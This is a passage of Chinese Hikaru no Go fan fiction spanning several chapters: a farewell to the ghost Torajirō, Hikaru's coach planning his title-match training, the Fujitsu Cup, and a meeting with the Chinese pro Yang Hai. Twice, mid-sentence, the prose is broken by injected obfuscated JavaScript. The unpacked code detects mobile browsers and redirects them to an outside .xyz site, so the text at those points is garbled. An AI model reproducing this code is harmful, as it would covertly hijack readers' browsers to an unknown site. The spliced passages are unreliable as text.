“我害怕,怕自己的每一手漏洞都被他看穿,怕大家记住的都是无法被战胜的他,没有人记住我,从而变得害怕围棋本身。”虎次郎望着光,说,“依靠佐为给我带来的荣誉,我活在赞颂和追捧之中,我得到了金钱和他人的关注,仿佛一夜之间,得不到上天眷顾的弃儿就变成了飞黄腾达的天之大才……这让我越来越害怕。我决定,再也不自己下棋了。” 他的尾音十分凄凉。带着几分寡淡。如深秋的落叶一般,垂在地上,毫无生机,只能眼睁睁地看着冬天到来。 进藤光也有过类似的心情。但光最终选择了鼓起勇气自己下棋,虎次郎没有,这是他们最大的不同。多亏了有塔矢作为竞争对手一路引导着光,他才有办法突破那种自卑。 光有点疑惑地揉着自己的脸颊。 “竟然是因为这样……” “所以,能遇到塔矢,我真的很感谢。”虎次郎终于回到了原来放松的心情,“他让我再一次拿起了棋子……对不起,其实我还是没法拿到棋子,只是他在代替我下棋而已。过去的两个月,我们一直在对弈,我久违地感受到了下棋的快乐,尤其是在昨天那一局之后。要是我能更早一点拿出胆量和你对弈就好了,佐为。” “他这么说哦。” 光看了看身旁的佐为,挤出一个笑容,想让他开心一点。 佐为略微心不在焉地点了点头。 “不管怎么样,知道你还在这个世上,我已经很高兴了,虎次郎。”光决定缓和一下这奇怪的气氛,“不过,你知不知道要怎么避免佐为消失?是不是他也像你一样,留在这间神社里,就能一直存续下去?” 这个问题很难回答,虎次郎陷入了沉思。他附身在塔矢亮身上时,已经完整听到了进藤光的过去,当然知道光有多迫切地希望找到帮助佐为的办法。在自己成为幽灵的瞬间,虎次郎并不惊讶,因为在他少年时代就和幽灵在一起生活了二十多年,早就习惯了幽灵的存在。但要问他幽灵如何不消失…… “通常的看法是这样吧。执念消失之后,灵魂亦会消隐而去。这间神社的神主先生是这样说的。”虎次郎把他知道的一切都和盘托出,“对于佐为而言……的确,如果他放下了心里的执念,大概就无法继续存在于世了。” 可是,佐为的执念是下棋呀,如果想下棋就能不消失的话,上辈子他也不会消失了。 光掩饰着脸上的失望。 “那你呢?虎次郎,你的执念是什么?为什么你不会消失?”光怀着最后一丝希望追问。 虎次郎想了想,不太确定地说:“理由可能有无数种,或许是因为我才刚刚重返人世,或许上天想交给我点拨塔矢君的任务,或许是因为我活着的时候和这里的神主是好友、受到了神社的恩惠……但我的执念始终只有一个。我想看到佐为下出最好的一手。现在的我无法陪他实现这个目标,就拜托你了,进藤光。” 他不在乎灰飞烟灭。在还是人类的时候,他就没怕过死,所以他才会亲自照顾染上霍乱的病人,还因此不幸身亡。何况是成为幽灵之后。但他确实喜欢着围棋。 想看到佐为下出神之一手……吗…… 光点了点头。 “嗯。佐为就交给我吧!” “不必为我难过,进藤君。”虎次郎看出了光眼底的忧伤,他摸了摸光的头,尽管他的手实际上并不能接触到光的头发,“时代过去了这么多年,你们能重新相遇就是最大的奇迹。佐为,很抱歉,我一直很遗憾,自己那副不中用的身体没能让你好好尽兴下棋,既然你能在进藤君身上找到自己的位置,我也就放心了。” 佐为曾有机会在他身上窥见神之一手,但却因为他英年早逝的缘故,断绝了这个希望,虎次郎为此十分自责。他之所以会变成幽灵,说不定就是因为遗憾的心情太过沉重了。 这番推心置腹的话语让佐为忍不住擦起了眼泪。 “虎次郎,我也是,那时离别得太匆忙,我有好多话都没来得及对你说……” 他都好久好久没哭过了。上次哭,还是在回到现世、第一次看着小光拿起棋子的时候。为什么一见到虎次郎他的悲伤就刹不住车呢? 两个人就这样相对而视,互相追忆着过去的往事,看得进藤光心里有点不是滋味。为什么,为什么神非得把佐为从他身边叫走呢……?明明如果他能留下的话,大家都会很高兴。虎次郎也好,自己也好,还有那些想看sai下棋的人也好……大家都希望佐为能留下来。 “进藤。”亮忽然抬起头,环顾四周,“你听!” 地面瞬间传来了令人不安的剧烈摇晃。 光脚下的步子都不稳了,他慌忙抓住一旁的古树,粗糙的树皮还在诉说眼前的一切都是真实的,但他此刻已经感受不到喜悦了。他只觉得这地震来得有点奇怪。和他以前经历过的那些地震都不一样。就好像……是来自神的警告一般。 神的……警告……不是吧? 光连忙回过头。 “佐为!”光首先条件反射地确认了一下佐为的安危,发现他并无异常后,才稍稍松了口气,但他很快就又紧张了起来,“——地震了?!什么?怎么回事?” “这座神社原本就只接待有缘人。”虎次郎有些不舍地说,“看来……是你们该走的时候到了。” 他说得有些模棱两可,但光能感觉到,这个神社的确是在渐渐关闭与外界的交流入口。 他们必须离开了。 可他还没待够。他不想放弃与虎次郎多聊一会儿的机会。佐为也是,好不容易来到了这里……阔别多年的友人再度相会,居然只给他们这么短暂的时间?太过分了吧…… 就在这时,有人突然叫住了进藤光。 “——这位小同学。” “啊!” 光被突如其来的叫声吓得后背一哆嗦,他太过投入于当前事件的思考了,导 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他们又回到了最初那片树林的边缘上,面前是一道向下延伸的台阶——正是在这片石阶上,塔矢亮摔到了腿,住了那么久的院,至今还不能像常人一样跑步。 这里是光与虎次郎初次相遇的地方。也是他们以后可能继续相会的地方。 光连忙确认了一下身旁的塔矢亮的平安。还好,他没事。 一个小时内就发生了这么多不可思议的事……在昨晚告诉塔矢亮自己的过去时,他还觉得在自己身上发生的事已经足够不可思议了。没想到,连鬼神的不可思议都掺杂了进来。 “消失了啊。” 他的目光久久不愿放下。 虎次郎……如果他一辈子都会被限制在这座看不见的神社里的话……继续存在于世的意义又是什么呢?他究竟是怎么想的?还有佐为……直到现在也不清楚究竟有什么办法能救他…… “小光!”佐为突然举起了手,“我们下次也来见他吧!” 光一愣。佐为的脸上带着兴奋而幸福的笑容,就好像刚才的离别并不能给他带去伤感一般。是啊,比起这次的离别,明明之前的漫长分离更让人难过,还能再次相见就是命中注定的奇迹了。他还有什么理由哭丧着一张脸呢? “你说得对。”想到这里,光也回以他一个淡淡的笑脸,“他一直都在嘛。我们一起来看他吧!然后把你的棋谱摆给他看!摆到他不再害怕为止!” 他一定要让虎次郎也体会到下棋的乐趣! 当初在佐为的指导下学习围棋的时候,进藤光也不是不曾害怕过。就像两个剑士交锋,其中一方的实力远逊于另一方,甚至连另一方出招的原因都看不清,他一定会害怕、会退缩、会不敢尝试,这样就永远体会不到交手的乐趣。 但是,因为想着要追上塔矢亮,光就咬紧牙关克服了这一点,并取得了成功。 既然他可以,那么虎次郎也一定可以! “嗯!” 佐为高兴地点了点头。看来他也和光一样在盘算这个计划。 灵魂的使命……吗。回想起来,佐为两个月前出现消失征兆,似乎就是在他坚持拒绝自己下棋之后。也许神主先生说得对,进藤光也有陪佐为实现神之一手的使命,所以他们才会相遇。可要是他执意抗拒这个使命、甚至放弃自己的围棋的话,老天爷——围棋之神就会毫不留情地把佐为召回自己身边了。 想让佐为留下来的办法,就是下棋。 上辈子都懂的道理,这辈子怎么开始纠结了嘛,他这个一根筋的笨蛋! “那,我们去哪里吃点东西吧。拉面怎么样?”光伸了个懒腰,神清气爽地往前迈步,和亮并肩走在幽绿的树荫下,“麦当劳也不是不行。” “你除了不健康的饮食还有别爱好吗,进藤。” “啰嗦啦,今天我有自己带钱,再也不要吃你那破白人饭了!” “我是病人,需要清淡有营养的食物。” “这种时候你倒是知道自己是病人了啊?!算了算了,回去酒店吧,我给你做点什么吃。别看我这样,厨艺可是有特别修行过的喔。” 光的声音渐渐远去。亮最后一次回头看向树林深处的影子,继续前行。 ●○●○ 92.Chapter 91. 目指本因坊 第二次因岛之旅在心事告一段落的轻松中结束。光回到家中时,美津子似乎出去买菜了,家里空无一人。他放下旅行用的书包,将换洗衣服丢进洗衣篮,又来到客厅,把昨天与虎次郎相遇的地点在地图上画了个红色的大圈。 嗯……下次去因岛,就定在月末吧!反正他最近也没工作! 不过真可惜,要是他住在因岛,就能天天见到虎次郎了。新干线的路费可不是一般家庭每周都能负担得起的。 “那可不行,小光。”听到光这么说后,佐为握着双拳表示了反对,“你要是在因岛定居,就不能见到东京这边的家人和朋友了,而且棋院的工作也在这边吧?神主先生也说过喔,过犹不及!” 鱼和熊掌不能兼得。光只能放弃了这个想法,那位突然出现的神主也不知是不是正经神职人员,说不定也是个幽灵呢。 在他边胡思乱想边整理书架上的秀策棋谱时,有人按响了他家门铃——“叮叮叮呲呲呲叮叮叮”。 光懒洋洋地走下楼,打开玄关前的门,探出头去。 “咦。” 他看见了“那个”久原木子郎。这种摩斯电码一样的门铃按动方式也就只有他了。 “进藤,你昨天去哪了?” 久原也不多说,挽起袖子直奔主题。怎么感觉他是来兴师问罪的。 “……因岛。去找一个老朋友。也有给你带手信哦,不过那边除了除虫菊就什么都没有了,所以礼物是驱蚊线香。”光随口一答,把一盒奇怪的纪念品丢给对方,很明显,他不想围绕这个话题展开讨论,“找我有事吗?是不是新阶段的训练计划出来了?我的下一个对手是谁?” 长达两个半月的职业考试画下句点,佐为和虎次郎悬而未决的谜团也暂且安定,光终于能回到原本的轨道上去了。依照久原此人井井有条的麻烦性格,多半在此之前就规划好了未来半年的围棋特训内容吧,想到这里,光还有点期待他拿出一张比上次的A2纸更大的表格、让自己开开眼界。 但显然,小记者被别的地方吸引了注意力:“啊?又去因岛?你到底是多爱海边度假?秀策听了都觉得你的爱太沉重了!重男!” “你好啰嗦哦,有事说事。” 言下之意就是——没事就快点滚蛋。不知为何,虽然在他重生之后对周围的一切伙伴的态度都很友好,可就是唯独与这个上一世完全不认识的久原在一起时,他会忍不住用略显刻薄的冷淡态度开玩笑。 不过他的冷淡却一点也没让久原不高兴。 “是这样。”久原掀开了光把手住的大门,大步踏进了玄关,一点没把自己当外人,“下阶段的目标出来了。我们约好要一年内称霸全国的,那就来选一个吧。” “选?” “七大头衔,你要以哪一个为目标?棋圣、名人、本因坊、王座、天元、小碁圣、还是十段?” 无论那一个都不是一般人能随便挂在嘴边的名词,久原却轻巧流畅一气呵成地念了出来。 而后伴随着一声响亮的“咚”——这次他砸在鞋柜上的并非巨幅表格,而是七本不同的合页文件夹册子,且每一本都又大又厚。 光深受震撼地拿起其中一本,手腕都往下一掉。 “这……都是啥啊?” “哼哼哼。针对七个不同头衔,我准备了七套略有差异的训练计划,里面收录的是往年各头衔持有者的对局棋谱,以及明年有望冲击头衔的职业棋士们的棋谱。孙子曰,知己知彼,百战百胜。哦,不用谢我!这是教练应该做的工作。” 久原得意洋洋地用右手手指敲打着左手肘,仿佛满脸都写着“快夸我快夸我”的表情。 七个头衔全部吗?! 光迅速翻阅着每一页,不仅仅是简单的棋谱记录,甚至还标注了“特别值得注意的细节”,包括一流棋士们对彼此的评价。后者如果不亲自去访问棋士们、深入交谈的话,是很难收集到的,恐怕这家伙直接把往期全部《围棋周刊》都收入了自己的电子数据库,又以各种方式(主要是金钱)邀请过这些棋士去佐和良中学作客,才能做到这个地步。 光顿时深感头皮发麻。 调查得也未免太过周全了。这恐怖的信息收集能力,不用在别的领域好像有点可惜啊。 “这可真是一份大礼呢,小光!”佐为充满兴趣地凑了上来,“帮大忙了!” “嗯……本来我还想自己去找这些资料呢。毕竟找资料也是能力的一部分嘛。”光不好意思承认自己其实完全不擅长此类工作。 久原毫不客气地吐槽道:“以进藤你的效率,收集完都猴年马月了。” “烦死了,跟围棋有关的事我一直很高效的!” 光反驳归反驳,身为25岁的成年人,他也深深为对方能不计成本地投入这件事而敬佩。一没钱二没名,久原愿意做这么多,纯粹是因为他欣赏进藤光的围棋才华。前段时间自己沉浸在佐为的事件里、一直躲着久原的质问,这时反而有些愧疚。 光低下头看着手里的“板砖”文件夹,语气也带了点责备。 “……但是,这怎么看都不是一个人能完成的工作量啊。你这两个月真的有在好好睡觉吗?学校肯定也基本没去吧,你爸那边没问题吗?” 久原心虚地咳嗽了两声。 “熬夜倒在过棋盘前面的人凭什么说我。”光就知道这小子一定会拿上次中断的棋局说事,然后久原干脆直接拿起了那七本册子里的最后一本,用力盖在进藤光脸上,“——所以呢,你当然会选本因坊吧?” 唔,光吃痛地放下那本封皮是深紫色的册子,上面写着“本因坊”的手写体毛笔字。这颜色和风格,跟佐为的气场就是很搭。 想都不用想,如果要取头衔,他一定会先拿走本因坊。不过…… 光突然有些玩心大起:“让我想想哈,既然你都辛辛苦苦做完了准备,我索性就把这七个头衔全都一次性包圆了算了,省得浪费。” “请不要说胡话。” “诶……你完全不上套呢,我还以为你会兴致勃勃地给我安排七套训练方案的说。” 久原瞪了他一眼,“在同一年参加全部头衔战在日程安排上就是不可能的,即使棋院尽量错开时间,连续高强度对弈也很难确保棋手的状态。头衔战里的敌人都是强者,跟职业考试那些小虾米不一样!循环赛都动辄6小时,本赛更是9小时一局!一年内能取下两个头衔我都算你是时间管理大师了!这么简单的道理你不可能不懂!少来这套!” “我知道,我开玩笑的啦。”但光还是顺便拿走了第二本册子,“……塔矢应该会以名人为目标。这本也给我吧,我们早晚会在名人战里对上,一定用得上。” 这家伙胃口还是那么大,一个劲盯着塔矢塔矢塔矢,眼里就塞不下别人。 不过也是,塔矢行洋隐退后,空出的四大头衔尚未有人接替,大家一致认为绪方会继承老师的位置、成为新的名人,而更久的未来,会是塔矢行洋的儿子塔矢亮接替师兄绪方的位置。在进藤光的上辈子也确实如此。 ——但这次,很抱歉,绪方先生、塔矢,名人的头衔他是不会拱手相让的。 进藤光死死盯着鞋柜上新一期的《围棋周刊》。首页其中一条新闻就是绪方挺进名人头衔战循环赛的消息。照片里的绪方精神抖擞、眼神锋利,无论发丝还是眼镜框都透露着一股踌躇满志的自信,看到那样的目光,他就无法保持冷静。曾经那目光只在追寻sai的真实身份时出现过。 不止是绪方想得到塔矢行洋的认可,他进藤光也不例外!他都跟塔矢老师说好了要“独当一面”,结果要是做不到,就太丢人了! 他的情绪总是直接写在脸上,一看就懂。久原叹了口气。 “好吧。就算我拦着你肯定也不会放弃的。那就我退一步,允许你同时以本因坊和名人两个头衔为目标。” 光伸出大拇指:“谢谢你教练!” “但是作为交换,你一定要确保拿下至少其中一个头衔,这是你迈向国际舞台的第一步。”久原头也不回地走到二楼,打开棋盒,示意他坐下,“我说实话,中韩棋手和日本棋手根本不是一个水平线,正因为如此,你出征前的气势是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285201|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很重要的。赢了的话,你的信心就会更足,连战连胜的势头能变成年轻棋手最有力的武器。这是我观察了最近十年的世界级棋赛之后得出的结论。所有的世界冠军——在拿下冠军之前,都积累了无数次国内棋赛的胜利。” “……” 棋子接二连三地出现在棋盘表面,光沉下了眉头。 不知为何,上一世无论怎么踮脚、命悬一线、都够不着的边缘,如今竟有种近在眼前的意味。 是因为久原的出现吗,那些“只有外人才能看清”的自身的缺陷和弱点,经过足够有针对性的科学训练,经过与水平相近的对手的对弈,再加上佐为有意的引导,和塔矢亮的奋起直追带来的压力……前所未见的景色,就像打开宏伟的蓝图一样呈现在自己视野前方。 山顶就在那里。他看见了。 很棒的眼神变化。久原微微翘起嘴角,随后强行把嘴角压下去、故作冷淡地抓起一颗黑子:“那么开始复盘吧。这两个月你要提高的是棋商和应变力。请带着这个目的去思考。” “我明白!” 数日后。紫水围棋会所。 身后的电动门“唰”地打开,少年充满运动力的身影飘飞而至。 “哟!塔矢!哟!市河小姐!哟!仓桥先生!啊,北岛先生也在啊!” 进藤光今天似乎心情大好,绕到北岛身边时还顺手替他捏了捏肩膀,引来一阵羡慕的称赞。在上一世,那个总跟他对着干的北岛其实在关键时刻最支持也最认可那个备受奚落的进藤光,好不容易光才明白这些,北岛却也渐渐年老,很难同他再下上几局棋了。所以这一世,光总会主动和他们搭话,很快就成了大叔们人人疼爱的“亲孙子”。 “手法越来越熟练了嘛,进藤。待会我给你零花钱吧。”北岛舒服得抬头纹都展开了。 光笑意盈盈地说:“不用啦!北岛先生!职业棋士是有对局费的哦,再说,我实在有想吃的东西可以让塔矢请客嘛。” “进藤……稍等,这局指导棋之后我就和你下。” 亮见他急急忙忙跑进来,原本平淡如水的脸上总算浮现出一丝触动。 “你慢慢来,我不着急。”光换成手肘压在北岛肩头,一副职业棋手就算按摩也会认真到底的表情。 “哼——”北岛却突然开始收拾棋子,“算了算了,你们一天到晚碰面的时候也不多,我就做一回好人让你们多下一会儿吧,进藤,好好记着你欠我的人情喔!” “谢谢北岛先生!”光嬉皮笑脸地反应道。 “算你小子识相。”北岛见光摆低姿态,心中自然轻飘飘的,舒服得不行,站起来的动作也麻利了许多,“加油哦,小老师!今天一定要赢了进藤!” 此言一出,在场的人都察觉到了亮闪电般的气场。一旦准备和光对弈时,塔矢亮就会变成“目中无人”的状态,眼里也会写满敌意,谁靠近都要退避三舍。只有光轻轻松松地溜达到亮对面的座位上,对亮的寒气视而不见。 “……” 亮其实内心深处很在意进藤光的变化,自从那天进藤透露了sai的超级惊天大秘密给自己后,亮就一直没法用过去对待“令人敬畏的天才”的眼光看待他。但是在外表上他还是维持着两人从前相处的通常状态。他不希望因为进藤说过的那个故事而改变他们之间的相处氛围。那肯定不是进藤的本意。 不管在那个世界进藤光与塔矢亮之间发生过什么,如今的他们就是他们。塔矢亮遇到的只有这个世界的进藤光,仅此而已。 所以,他以对方为目标的意志还是别无二致。 “等一下,我猜猜你在想什么。”光却忽然不自在地挪了挪屁股,自从秘密说开之后,他好像还是第一次和亮这样面对面说话,一想到这里,光就莫名有种自卑感,“反正你肯定在想——‘这个人简直在作弊,有千年前的幽灵带着下棋,遇到瓶颈还能梦回十年前重新开始,怎么什么好事都让他占尽了,这么天上掉馅儿饼的条件给谁谁都能当世界冠军吧,早知道就不把这种人当成对手了,浪费我的热情’。对吧?” ●○●○ 93.Chapter 92. 富士通杯与异国友人 明明是在用开玩笑的语气说话,说的却是真心话。佐为一眼就看穿了光的本意。 小光还是在担心啊,担心塔矢会不会知道真相之后,就对曾经憧憬过的“进藤光的幻影”大失所望,担心两人的友情会不会产生间隙,也担心之后无法再以“塔矢亮命中注定的对手”自居。想到这里,佐为也跟着一起担心起来。 就算知道亮听不见,佐为也还是大声解释着:“塔矢!小光不是故意瞒着你的!他也不是在作弊!就算真的多出了十年的时间,他的棋力也是十年以来坚持不懈地练棋才磨炼出来的,这份努力并不是谎言!” 没想到,亮本人却完全不在意。 “没有那回事。我是在想……原来我一直在和秀策的弟子下棋啊。”亮说着,眼角沾染了些许笑意,“真正幸运的人,是我也不一定。” “啊?”光呆住了。 “因为有强到不可思议的你作为目标,我才能比以往任何时刻都更努力,最后超越自己的极限。这一定是你那个世界的塔矢亮做不到的事。”亮的语气简短而干脆,他抓起棋子,仿佛在以此结束光的不安,“——猜先吧,进藤。” 竟然能这么想嘛,这家伙还真是乐观啊。光挠了挠鼻子,跟着一起抓了棋子。 “塔矢,对了,今年的名人战……” 就在光念念不忘地想对塔矢亮约定未来一年的“共同目标”之时,一个神奇的客人忽然登场了。自动门向两侧退去,全会所的人目光都投向了那个地方,这份奇妙的安静,让光和亮同时扭过了头。 “小光!”守候在一旁的佐为也发出了惊呼。 佐为看见穿着便服的塔矢行洋正站在围棋会所的门口,与前台值班的市河晴美打招呼。他一眼就看见了他。没办法,谁让他们俩也是命中注定的对手呢? “啊——”光连忙捂着嘴,不想让自己失态的样子被人发觉,但身体还是很老实地一下就从椅子上弹跳起来,“塔矢老师!您怎么来了!” 听到光的呼唤声,塔矢行洋微笑着转过了身,面对着他。随即,行洋结束了与市河的谈话,缓步朝他们走来。 “你看上去很有精神,进藤君。”他温和而慈祥的声线让人十分安心,“恭喜你,终于成为职业棋士了。” 这句话居然由他来说,让进藤光的内心百感交集。 光至今还惦记着上次在因岛由于自己的失误而导致塔矢亮摔下楼梯的事,因为那件事,塔矢亮没能完整参加职业考试的正赛,他还内疚了很久很久。现在,亮的父亲居然要站在自己面前说出“恭喜”一类的台词,这实在是让他难以承受。 “那都是……托了您的福。”进藤光慢慢低下头,酝酿着情感,“在塔矢研究会的日子里,您教给了我很多东西,即使是在您离开日本之后,剩下的前辈们也在一直一直指导鞭策着我。” 塔矢行洋却摇了摇头。 “不,在我教你之前,你就已经具备了高段棋手的棋力。” 他的话并未使进藤光得意忘形。这是夸奖,但他心知肚明,这所谓的“高段棋手的棋力”来自何方。那根本不是他的天赋换来的东西,而是……用佐为的牺牲换来的。 “……是您说得太夸张了。” 最后,他也只能这样对塔矢行洋微笑。 佐为在一旁呆呆地看着他。明明是被肯定了实力,为什么小光还一副不太高兴的样子? 塔矢行洋只当他在紧张,“嗯”了一声,“如今小亮已经恢复得差不多了,我也可以放心回中国了。虽然错过了今年的围甲,但正好来得及赶上来年的富士通杯预选。” “——富士通杯?”这个名词令光猛地抬起头,“咳咳咳……是那个吗?富士通杯世界职业围棋锦标赛?!” “正是。” 塔矢行洋缓缓点头。闻言,光的心里就像倒了五味瓶一样不是滋味。 惊喜和憧憬当然也有,可更多的是失落。 2011年,也就是上辈子他刚满25岁、重启人生的那一夜之前,曾作为首个世界围棋大赛而被一众棋手视为最高荣誉的富士通杯,突然宣布其长达24年的历史即将画上句点——日本围棋的时代终成绝唱。 表面上的理由是金融危机和日本国内经济不景气,赞助商对承办这项赛事越来越捉襟见肘。实际上,日本棋手在这项赛事上节节败退、多年颗粒无收才是最重要的原因。 青年棋士进藤光的灰心丧气,在听说这项比赛永久停办之后,坠落到了新的低谷。 他还没有拿过富士通杯的冠军呢,别说冠军了,八强都没进过,能一决胜负的舞台本身就倒塌了。在时代的巨幕落下时,他只能远远在观战席上看着梦想渐行渐远。 直到塔矢行洋的一句疑问将他拽回现实。 “怎么样,你也想参加试试看吗?进藤君?” 听到塔矢行洋这样问,惊讶的人已经不只是光了。连一贯冷静的塔矢亮也吓得不轻。 “爸爸……” “啊?没有!我……我哪敢想这个……!”光胡乱地摆起手来,“我才刚刚入段而已……别拿我开玩笑啦,塔矢老师!” “这并非不可能。只要你参加预选,就有机会拿到参赛权。”塔矢行洋却在很较真地考虑这件事,“包括免选的大三冠头衔持有者在内,日本地区有权派出7名选手参赛。我觉得,以你的实力,说不定可以争取一下。” 这…… “大三冠……”光一时走了神,“棋圣,名人,本因坊……不行不行,我做不到的啦!我怎么可能和这些人站在同一个高度上竞争!” “不要妄自菲薄,进藤君。” 塔矢行洋越是这么说,光心里就越是不知所措。 然而,佐为的一番话却将他心中的不安束之高阁。 “我觉得他说得有理,小光。既然你都打算挑战本因坊和名人头衔了,那早一些面向世界舞台发起挑战也是好事,倒不如说,我很想知道现在的你在当代这群棋士里占据着什么样的位置。” “佐为?” “去试试看吧。”佐为微笑道,“你已经不是过去的那个小光了。” 我已经……不是过去的那个进藤光了…… 光的表情发生了一些细微的变化。 佐为的话里饱含深意。在他把过去的秘密告诉佐为之后,两个人之间的关系就更进了一步,光曾经怀疑这样顺遂的人生是不是有点太不真实了。但是,被佐为这么一提醒,他又想起了自己最本真的目标—— “我知道了。”光点了点头,说,“如果今后有机会在赛场上和塔矢老师遇上的话,请您不要手下留情。” 这大胆的挑战状让塔矢行洋开怀大笑。 “那是自然,无需感到压力,我只是希望你能朝着自己的目标前进。” “是!!” 光深深弯腰鞠躬。 此事传到久原木子郎耳朵里,他立刻在棋院大厅表演了一个暴跳如雷。 “哈?一年冲刺三个赛事?!进藤光,你疯啦?本来兼顾本因坊和名人就够呛了!世界级的富士通杯面对的可是全球各地的顶尖棋手!光是搜集资料都不知要花多久!!你想把自己活活累死吗?!” “这样才有趣啊。” “哦,反正你不累、累的是我!怎么,看我熬夜猝死很有趣是吧?” “这个比赛对我意义非凡,就加上嘛,拜托你啦,教练。” “我看全世界都对你意义非凡!”久原说归说,还是很快乖乖掏出随身携带的日记本,很自然地开始思考后续的安排,然后语气一转,“不行喔,今年的富士通杯预选赛C轮比赛已经过了,都是8月中旬的事了,现在正在进行的是B轮,过几天就是A轮。来不及了,你放弃吧,进藤。” 晴天霹雳。早已做好严酷备战觉悟的光顿时像霜打的茄子一样垂下头。 “诶——?!可是,塔矢老师明明说……” 久原叹了口气。“他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304059|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是建议你参加明年的预选吧?后年你们才会在赛场上碰头,他肯定是这个意思。都怪你太着急,才误会了吧?” 光还是不想放弃:“绪方先生不是会直接参加A轮吗?像他这样不行吗?” 久原的白眼翻得更大了,“拜托!那是绪方九段啊!直接进A轮的都是往年各类大赛有实绩的高段棋士,你只是个新初段,怎么可能当成种子选手塞进去!棋院又不傻,你们这些新人应该做的是适应大手合赛、学习职业棋士的工作、脚踏实地地努力才对。” “怎么就不能通融一下嘛!我已经有高段棋手的实力了!意思就是还要干等一年半才能和中国的棋手交手吗……” “中国棋手的话,这里就有喔。” 突然插入他俩对话的是一个没听过的声音,光满脸问号地回过头,看到一个身材魁梧——至少相对于他目前的体型来看十分高挑——的黑发大叔站在身后,伸出大拇指指向自己的下巴,神情淡然,语气普通。过了半天,光才回过味儿来,刚才这大叔说了一句多么难以置信的台词。 “诶???” 大叔揉了揉自己乱蓬蓬的短发,接着用那不甚标准的日语自我介绍起来:“你好,我是中国棋院六段,杨海。你说你有高段棋手的实力吗,怎么样,要不要现在和我下上一局?” 就在进藤光偶遇预料之外的异国友人的同一刻,日本棋院会馆。 塔矢亮晕晕乎乎地吃完早饭,走上电车,来到自由对居室,找了个地方坐下。今天他没有去围棋会所。因为他现在脑子还有点反应不过来。至少在面对进藤光之前,他想冷静冷静。 世界级的比赛……进藤竟然想要去那么远的地方了啊…… 不过也是,毕竟进藤是个重新活了一遍的人……按理说,他早就攒够能去世界级大赛磨砺身手的经验了。仔细想想还真是不可思议……自己居然一直在把一个比自己大了这么多岁的人当成“想要超越的天才”。还没等自己缓口气,进藤就打算冲刺去下一个目标了,真像一头不让人省心的野猪。 “以现在我的实力,明年能和进藤一起拿下预选资格吗……” 塔矢亮的自言自语吸引了一旁的另一个人。 “预选资格?”他走上前来,在塔矢亮对面坐下,“什么的预选资格?” “你是……” 亮第一眼还没想起来对方是谁。不过,很快,他的脑子里就浮现出了一张对应的棋谱—— “进藤的死对头,柴田悠一。我是院生。”柴田指着自己的脸,说。 “啊,是那个时候的……” 亮很自然地接过了话茬,虽然他表现得很正常,但柴田还是发现自己没在他心中留下多少印象。一股不太甘心的悔恨在柴田的血管里流来流去。不过,他甩了甩脑袋,想把这件事暂且忘掉。 然后柴田很自然地说:“塔矢你在这里,就代表进藤他也在这里对吧?院生和职业初段会在幼狮赛里遇到,到时候我一定要下赢他!” “你还在以他为目标吗。” “废话!全体院生的目标都是他!我还是好想超过他啊……该死,循环赛过去这才三个月,你们都是职业棋手了!好不容易我才变强一小点,结果你们都变强了好大一截!就连那个逃跑了一年半的久原都进步飞快!要不要这么卷啦!”柴田叹息着说,“我已经越来越追不上了……” “我觉得你可以不必太在意进藤。”塔矢亮却说。 他的用词让悠一十分惊讶。 “什么意思?” “……就是说,不必只把目标放在进藤一人身上。” 柴田有点无语地看着他:“明明只把目标放在进藤一人身上的是你才对。不过,进藤他到底是什么来头啊?为什么小小年纪就能强得像个妖怪?真是想不明白。” 糟糕——亮发现自己有点说漏了嘴,本来,他是想到进藤光曾经比他们多活了十年,所以想安慰安慰对方来着。 ●○●○ 94.Chapter 93. 进藤光vs杨海 就算心里想着不要改变初衷,这个想法也还是不受控制地冒出来。这样才对,他也只是个普通人而已,面对这种不可思议的冒险故事,对进藤光这个人的看法会发生改变也是必然。 可……那是进藤本人所希望的吗?他希望自己的人际关系因为秘密的倾诉而改变吗?本来他告诉自己佐为的事,是因为信任吧…… “你怎么了,塔矢?”柴田伸出手掌在他面前晃了晃,“你还好吗?没吃早餐?还是生气了?” 塔矢亮突然撑着桌面站了起来,柴田被他的气势震慑住了,半天没挤出一句话。还好,亮并非不想理睬他,只是被陆陆续续离开自由对居室的人潮吸引了注意力。他们似乎都在窃窃私语,难道门外发生了什么事? 柴田努力回忆着:“好多人喔。我想起来了,久原提过一嘴,好像今天会有中国的职业棋士旅行团过来参观。” 这种情景…… 亮双眼一闪,随即穿过人流、快步向外走去。 结果他根本没看前面,差点撞上了从另一侧走向楼梯的仓田厚。胖墩墩的仓田原本还打算说教一句,结果看到是塔矢亮,满脸堆出了宽厚老实的笑容:“呀!塔矢!你来棋院啦?下次找机会和我下一局……喂!你别跑那么快,会摔跤的啦!” 他一脸担忧地望着塔矢亮远去的背影,可惜,根本没人回答他的好意。 柴田只能代替亮替仓田道了歉:“不好意思,仓田老师。不过前面为什么那么多人?中国来的棋士里有很有名的家伙吗?” “噢,你还不知道吗?是说进藤在和中国的职业棋手下棋喔。” 进藤光?!和中国的职业棋手?! 柴田顿时明白了塔矢亮刚才那样着急的理由,一股莫名的复杂情绪涌上脑门:“……塔矢那家伙!是预判到了吗?” 